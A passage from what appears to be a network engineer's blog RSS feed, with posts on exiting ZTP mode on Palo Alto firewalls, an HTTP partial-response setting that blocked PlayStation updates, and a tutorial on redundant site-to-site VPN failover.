<p data-start="990" data-end="1146"><div style="margin-bottom:24px"><a href="https://weberblog.net/neox-networks" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png" /></a></div>
<p>Note that this KB article from PANW suggests the following settings in step 3, but I don&#8217;t know why:</p>
<p><code>set system setting template enable<br />
set system setting template disable<br />
set system setting shared-policy enable<br />
set system setting shared-policy disable</code></p>
<p>In fact, the firewall already reboots after the <code>set system ztp disable</code> command. And both settings (template &amp; shared-policy) are already enabled. Why should I disable them in the end, since I probably want to connect the firewall to a Panorama?</p>
<p data-start="1148" data-end="1289"><strong data-start="1148" data-end="1158">TL;DR:</strong> The initial PANW wizard doesn’t completely disable ZTP mode. You’ll need to run <code data-start="1239" data-end="1263">set system ztp disable</code> manually — <em data-start="1275" data-end="1289">in any case!</em></p>
<p data-start="1148" data-end="1289">Soli Deo Gloria!</p>
<p data-start="1148" data-end="1289"><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@dustintramel?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Dustin Tramel</a> on <a href="https://unsplash.com/photos/exit-neon-light-signage-zpwpVBjMX3g?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/exiting-ztp-mode-on-a-palo-fails-partially/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">13891</post-id>	</item>
		<item>
		<title>Palo vs. PlayStation: How a Security Feature Blocked Our PlayStation Updates</title>
		<link>https://weberblog.net/palo-vs-playstation-how-a-security-feature-blocked-our-playstation-updates/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=palo-vs-playstation-how-a-security-feature-blocked-our-playstation-updates</link>
					<comments>https://weberblog.net/palo-vs-playstation-how-a-security-feature-blocked-our-playstation-updates/#comments</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Tue, 21 Oct 2025 06:39:19 +0000</pubDate>
				<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[Checkmk]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[PlayStation]]></category>
		<category><![CDATA[ProfiShark]]></category>
		<category><![CDATA[Security vs. Usability]]></category>
		<category><![CDATA[Wireshark]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=13853</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />For a few weeks, our PlayStation stopped downloading game updates. I figured it was just a temporary issue with the PS4. Since it didn’t affect me directly but only the kids, I didn’t pay much attention at first. I planned to wait for a firmware update from Sony. When such an update eventually came but &#8230; <a href="https://weberblog.net/palo-vs-playstation-how-a-security-feature-blocked-our-playstation-updates/" class="more-link">Continue reading <span class="screen-reader-text">Palo vs. PlayStation: How a Security Feature Blocked Our PlayStation Updates</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/10/Palo-vs.-PlayStation-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>For a few weeks, <strong>our PlayStation stopped downloading game updates</strong>. I figured it was just a temporary issue with the PS4. Since it didn’t affect me directly but only the kids, I didn’t pay much attention at first. I planned to wait for a firmware update from Sony. When such an update eventually came but didn’t solve the issue, I started getting suspicious &#8211; especially when I found almost no relevant results online for the official error code, which reads &#8220;(HTTP Status Code : 416) (CE-40862-0)&#8221;.</p>
<p>After conducting further detailed searches, I finally came across a post in the <a href="https://live.paloaltonetworks.com/t5/general-topics/university-students-receiving-http-status-code-416-ce-40862-0-on/m-p/383478" target="_blank" rel="noopener">Palo Alto Networks LIVEcommunity</a>. That definitely caught my attention. <strong>If there’s one thing that sets my home network apart from most “normal” households, it’s the fact that I have a Palo Alto firewall running &#8211; not your average consumer-grade router.</strong> 😂</p>
<p><span id="more-13853"></span></p>
<p>A real screenshot of the error message. More details about <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/416" target="_blank" rel="noopener">HTTP 416 are here</a>. Unfortunately, <a href="https://www.playstation.com/de-de/support/error-codes/ps4/" target="_blank" rel="noopener">the CE-40862-0 error is not listed on any official Sony PlayStation webpages</a>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13861" src="https://weberblog.net/wp-content/uploads/2025/10/PlayStation-Error-CE-40862-0-1024x768.jpg" alt="" width="604" height="453" srcset="https://weberblog.net/wp-content/uploads/2025/10/PlayStation-Error-CE-40862-0-1024x768.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/PlayStation-Error-CE-40862-0-300x225.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/PlayStation-Error-CE-40862-0-768x576.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/PlayStation-Error-CE-40862-0.jpg 1142w" sizes="auto, (max-width: 604px) 100vw, 604px" /></p>
<p>The LIVEcommunity article pointed me to a setting under <strong>Device → Setup → Content-ID → Content-ID Settings</strong>: <strong>“Allow HTTP partial response.”</strong></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-13862" src="https://weberblog.net/wp-content/uploads/2025/10/PANW-Content-ID-Settings-Allow-partial-response.png" alt="" width="750" height="308" srcset="https://weberblog.net/wp-content/uploads/2025/10/PANW-Content-ID-Settings-Allow-partial-response.png 750w, https://weberblog.net/wp-content/uploads/2025/10/PANW-Content-ID-Settings-Allow-partial-response-300x123.png 300w" sizes="auto, (max-width: 750px) 100vw, 750px" /></p>
<p>Indeed, I had unchecked that box a few weeks earlier. Why? Because while working on best practices for our Palo Alto landscape, we discussed this option and <strong>concluded that blocking partial HTTP responses shouldn’t be a significant issue &#8211; modern browsers surely handle those things</strong>.</p>
<p>Well… not quite. ;) Turns out the PlayStation relies on exactly this feature to download updates via HTTP (yes, plain unencrypted HTTP &#8211; I’m not even using TLS interception here). I probably wouldn’t have figured it out on my own if I hadn’t found that community post. <strong>I enabled that checkmark, and the updates are working again.</strong> (Using a PA-440 with PAN-OS 11.2.9.) Thank you, Internet! Luckily, I was able to explain to my kids that enabling this option on the Palo Alto firewall was ultimately for their own security. 😂</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/portable-network-capturing-neox-packet-falcon" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_604x.png" /></a></div>
<p>As a network engineer, I naturally captured the faulty connection from the PS4 (before re-enabling the option) with help from the <a href="https://weberblog.net/my-network-companion-the-profishark/">ProfiShark</a>. Here are two Wireshark screenshots of such a failed connection: (Wireshark Version 4.6.0)</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-416.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13865" src="https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-416-1024x582.png" alt="" width="604" height="343" srcset="https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-416-1024x582.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-416-300x171.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-416-768x437.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-416-1536x873.png 1536w, https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-416-2048x1164.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Follow HTTP Stream:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-Follow-HTTP-Stream.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-13866" src="https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-Follow-HTTP-Stream.png" alt="" width="933" height="875" srcset="https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-Follow-HTTP-Stream.png 933w, https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-Follow-HTTP-Stream-300x281.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Palo-PlayStation-HTTP-partial-response-Wireshark-Follow-HTTP-Stream-768x720.png 768w" sizes="auto, (max-width: 933px) 100vw, 933px" /></a></p>
<p>And here are more details from the Palo Alto firewall. Apparently, the following counter is responsible for this type of HTTP range request:<strong> <code>ctd_http_range_response</code></strong></p>
<p>You can view it via CLI like this:</p><pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@pa-home&gt; show counter global | match range
ctd_http_range_response                39376        0 info      ctd       system    Number of HTTP range responses detected by ctd</pre><p>
Monitoring this counter (in my case via Checkmk, Raw Edition 2.4.0p11, <a href="https://weberblog.net/which-kpis-to-monitor-on-a-palo-alto-firewall/">custom API integration</a>) looks like this. You can clearly see the peaks when the PlayStation tries to pull updates. Same for the time period during which I had the option disabled on the Palo. :)</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/10/Palo-Checkmk-Counter-ctd_http_range_response-last-35-days.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13867" src="https://weberblog.net/wp-content/uploads/2025/10/Palo-Checkmk-Counter-ctd_http_range_response-last-35-days-1024x340.png" alt="" width="604" height="201" srcset="https://weberblog.net/wp-content/uploads/2025/10/Palo-Checkmk-Counter-ctd_http_range_response-last-35-days-1024x340.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Checkmk-Counter-ctd_http_range_response-last-35-days-300x100.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Checkmk-Counter-ctd_http_range_response-last-35-days-768x255.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Checkmk-Counter-ctd_http_range_response-last-35-days.png 1305w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Final note: Yes, a better approach to omit this problem rather than allowing &#8220;HTTP partial responses&#8221; globally would be an <a href="https://docs.paloaltonetworks.com/pan-os/11-2/pan-os-web-interface-help/device/device-setup-content-id" target="_blank" rel="noopener">Application Override policy as recommended by PANW</a>. But I was too lazy since I&#8217;m talking about my home network here. ;)</p>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@brett_jordan?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Brett Jordan</a> on <a href="https://unsplash.com/photos/brown-wooden-blocks-on-white-surface-Xp9WOzF92Jw?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/palo-vs-playstation-how-a-security-feature-blocked-our-playstation-updates/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">13853</post-id>	</item>
		<item>
		<title>Redundant VPN with Failover on a Palo NGFW</title>
		<link>https://weberblog.net/redundant-vpn-with-failover-on-a-palo-ngfw/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=redundant-vpn-with-failover-on-a-palo-ngfw</link>
					<comments>https://weberblog.net/redundant-vpn-with-failover-on-a-palo-ngfw/#comments</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Tue, 14 Oct 2025 15:39:05 +0000</pubDate>
				<category><![CDATA[Internet Access]]></category>
		<category><![CDATA[IPsec/VPN]]></category>
		<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[Tutorial/Howto]]></category>
		<category><![CDATA[Failover]]></category>
		<category><![CDATA[High Availability]]></category>
		<category><![CDATA[Monitoring]]></category>
		<category><![CDATA[Site-to-Site VPN]]></category>
		<category><![CDATA[Static Route]]></category>
		<category><![CDATA[VPN]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=13822</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image.jpg 1601w" sizes="auto, (max-width: 300px) 100vw, 300px" />This goes out to anyone who uses more than one Site-to-Site VPN tunnel between two locations that are secured by firewalls from Palo Alto Networks. Using two (or even more) VPN tunnels, you need an automatic way to failover the traffic flow from one VPN to the other in case of failures. Here&#8217;s how to &#8230; <a href="https://weberblog.net/redundant-vpn-with-failover-on-a-palo-ngfw/" class="more-link">Continue reading <span class="screen-reader-text">Redundant VPN with Failover on a Palo NGFW</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-with-Failover-on-a-Palo-NGFW-featured-image.jpg 1601w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>This goes out to anyone who uses <strong>more than one Site-to-Site VPN tunnel between two locations that are secured by firewalls from Palo Alto Networks</strong>. Using two (or even more) VPN tunnels, you need an automatic way to failover the traffic flow from one VPN to the other in case of failures. Here&#8217;s how to accomplish that requirement:</p>
<p><span id="more-13822"></span></p>
<div class="su-note"  style="border-color:#69adc8;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#83c7e2;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;">This is one of many VPN articles on my blog. &#8211;&gt; <a href="https://weberblog.net/site-to-site-vpn-tutorials/">Have a look at this full list</a>. &lt;&#8211;</div></div>
<h2>Pre-Notes</h2>
<ul>
<li>You need 2x Site-to-Site VPNs between two firewalls. There may be 2x different ISPs on both sides, but at least on one side. Each ISP connection needs its own logical/virtual router to have its own default route.</li>
<li>All tunnel interfaces on both sides must use IP addresses.</li>
<li>All tunnel interfaces can remain in the same and single LR/VR. That is: Even though different LR/VRs are used for the ISP connections and the tunnel establishment, the final tunnel interfaces can be in the same LR/VR.</li>
<li>You need 2x static routes to the same destination through those 2x different tunnel interfaces. The &#8220;primary&#8221; VPN should use a more preferred metric (i.e., lower value). <strong>This must be consistent on both sides!</strong> If not, you&#8217;ll run into asymmetric routing problems as both VPN tunnels will be up most of the time.</li>
<li>Using a <strong>monitor profile with an action of &#8220;Fail Over&#8221;</strong> within the IPsec tunnel configuration takes a non-working VPN tunnel interface down. &#8211;&gt; The (formerly preferred) static route will be kicked out of the forwarding table. ✅</li>
<li>Of course, you could use a dynamic routing protocol such as OSPF or BGP to accomplish the same, while having a more complex overhead.</li>
</ul>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neox-networks" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png" /></a></div>
<p>Some notes about my lab:</p>
<ul>
<li>My firewall <strong>&#8220;pa-home&#8221; on the left</strong> is connected to two different ISPs. Both offer dynamic IPv4 addresses only, hence I&#8217;m using a peer address type &#8220;dynamic&#8221; from the other firewall. Different local IDs are used to get those two tunnels authenticated. Terminates various L3 subnets; the summary route to this location simply sets 192.168.0.0/16 as the destination.</li>
<li>(1x DS-Lite with CGNAT over fibre from &#8220;Deutsche Glasfaser&#8221; (DG), using DHCP and DHCPv6-PD, 1x Dual Stack over DSL from &#8220;Deutsche Telekom&#8221; (DTAG), using PPPoE and PPPoEv6. Though these details are not of interest here. :))</li>
<li>Primary VPN through DTAG, tunnel.12, 172.16.12.0/30, routing metric of 20</li>
<li>Secondary VPN through DG, tunnel.11, 172.16.11.0/30, routing metric of 50</li>
<li>My firewall <strong>&#8220;pa-stg&#8221; on the right</strong> is behind a BGP-routed prefix (connected to 2x ISPs), with the advantage that it only has a single public IPv4 address, though high available due to BGP. Here, only one LR is used at all. Terminates a single L3 subnet: 192.168.4.0/24.</li>
<li>pa-home is <strong>PA-440 with PAN-OS 11.2.9</strong>, Advanced Routing enabled</li>
<li>pa-stg is a <strong>PA-460 with PAN-OS 11.2.4-h7</strong>, Advanced Routing enabled as well</li>
</ul>
<p>&nbsp;</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-Palo-Lab.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-13842 size-large" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-Palo-Lab-1024x635.png" alt="" width="604" height="375" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-Palo-Lab-1024x635.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-Palo-Lab-300x186.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-Palo-Lab-768x476.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-Palo-Lab-1536x953.png 1536w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-Palo-Lab.png 1730w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>The two routes on the pa-stg firewall are configured like this. No specials:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-00-static-routes-on-pa-stg.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13841" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-00-static-routes-on-pa-stg-1024x410.png" alt="" width="604" height="242" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-00-static-routes-on-pa-stg-1024x410.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-00-static-routes-on-pa-stg-300x120.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-00-static-routes-on-pa-stg-768x308.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-00-static-routes-on-pa-stg.png 1416w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<h2>What if: Usage without any Monitoring</h2>
<p>Just in case you&#8217;re interested: Without any monitoring profile set on those VPN tunnels, both routes will be present in the routing table (RIB), while the one with the better metric will be in the forwarding table (FIB). <strong>This is true even if one or both VPN tunnels are down!</strong></p>
<figure id="attachment_13829" aria-describedby="caption-attachment-13829" style="width: 604px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-01-VPN-down-Interface-up.png"><img loading="lazy" decoding="async" class="size-large wp-image-13829" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-01-VPN-down-Interface-up-1024x333.png" alt="" width="604" height="196" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-01-VPN-down-Interface-up-1024x333.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-01-VPN-down-Interface-up-300x98.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-01-VPN-down-Interface-up-768x250.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-01-VPN-down-Interface-up-1536x499.png 1536w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-01-VPN-down-Interface-up.png 1753w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a><figcaption id="caption-attachment-13829" class="wp-caption-text">Though the VPN tunnels are down, the tunnel interfaces are shown as up.</figcaption></figure>
<figure id="attachment_13830" aria-describedby="caption-attachment-13830" style="width: 1003px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-02-VPN-down-Interface-up-RIB.png"><img loading="lazy" decoding="async" class="size-full wp-image-13830" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-02-VPN-down-Interface-up-RIB.png" alt="" width="1003" height="720" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-02-VPN-down-Interface-up-RIB.png 1003w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-02-VPN-down-Interface-up-RIB-300x215.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-02-VPN-down-Interface-up-RIB-768x551.png 768w" sizes="auto, (max-width: 1003px) 100vw, 1003px" /></a><figcaption id="caption-attachment-13830" class="wp-caption-text">Which results in the static routes being present in the RIB,</figcaption></figure>
<figure id="attachment_13831" aria-describedby="caption-attachment-13831" style="width: 1003px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-03-VPN-down-Interface-up-FIB.png"><img loading="lazy" decoding="async" class="size-full wp-image-13831" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-03-VPN-down-Interface-up-FIB.png" alt="" width="1003" height="720" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-03-VPN-down-Interface-up-FIB.png 1003w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-03-VPN-down-Interface-up-FIB-300x215.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-03-VPN-down-Interface-up-FIB-768x551.png 768w" sizes="auto, (max-width: 1003px) 100vw, 1003px" /></a><figcaption id="caption-attachment-13831" class="wp-caption-text">as well as in the FIB.</figcaption></figure>
<h2>Using a Monitor Profile with &#8220;Fail Over&#8221;</h2>
<p>It&#8217;s fairly easy now: Just configure the tunnel monitor within each IPsec tunnel with a profile that has the action of &#8220;Fail Over&#8221; set, pinging the tunnel interface of the other side:</p>
<figure id="attachment_13832" aria-describedby="caption-attachment-13832" style="width: 1000px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-04-Tunnel-Monitor-with-IPsec-Tunnel.png"><img loading="lazy" decoding="async" class="wp-image-13832 size-full" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-04-Tunnel-Monitor-with-IPsec-Tunnel.png" alt="" width="1000" height="655" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-04-Tunnel-Monitor-with-IPsec-Tunnel.png 1000w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-04-Tunnel-Monitor-with-IPsec-Tunnel-300x197.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-04-Tunnel-Monitor-with-IPsec-Tunnel-768x503.png 768w" sizes="auto, (max-width: 1000px) 100vw, 1000px" /></a><figcaption id="caption-attachment-13832" class="wp-caption-text">Enabling the Tunnel Monitor with a profile of action &#8220;Fail Over&#8221;, pinging the other side.</figcaption></figure>
<div style="margin-bottom:24px"><a href="https://weberblog.net/network-packet-broker-packetlion" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_604x.png" /></a></div>
<p>If one ISP connection or VPN tunnel fails, <strong>you&#8217;ll see the following &#8220;tunnel-status-down&#8221; system log</strong>, while the tunnel interface status in the IPsec tunnels section goes down (!), ending in only one route in the RIB as well as in the FIB:</p>
<figure id="attachment_13834" aria-describedby="caption-attachment-13834" style="width: 604px" class="wp-caption aligncenter"><a href="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-05-System-Logs-during-Failover.png"><img loading="lazy" decoding="async" class="size-large wp-image-13834" src="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-05-System-Logs-during-Failover-1024x261.png" alt="" width="604" height="154" srcset="https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-05-System-Logs-during-Failover-1024x261.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-05-System-Logs-during-Failover-300x77.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-05-System-Logs-during-Failover-768x196.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-05-System-Logs-during-Failover-1536x392.png 1536w, https://weberblog.net/wp-content/uploads/2025/10/Redundant-VPN-on-a-Palo-05-System-Logs-during-Failover.png 1752w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a><figcaption id="caption-attachment-13834" class="wp-caption-text">A failure in a VPN tunnel immediately takes the tunnel down.</figcaption></figure>
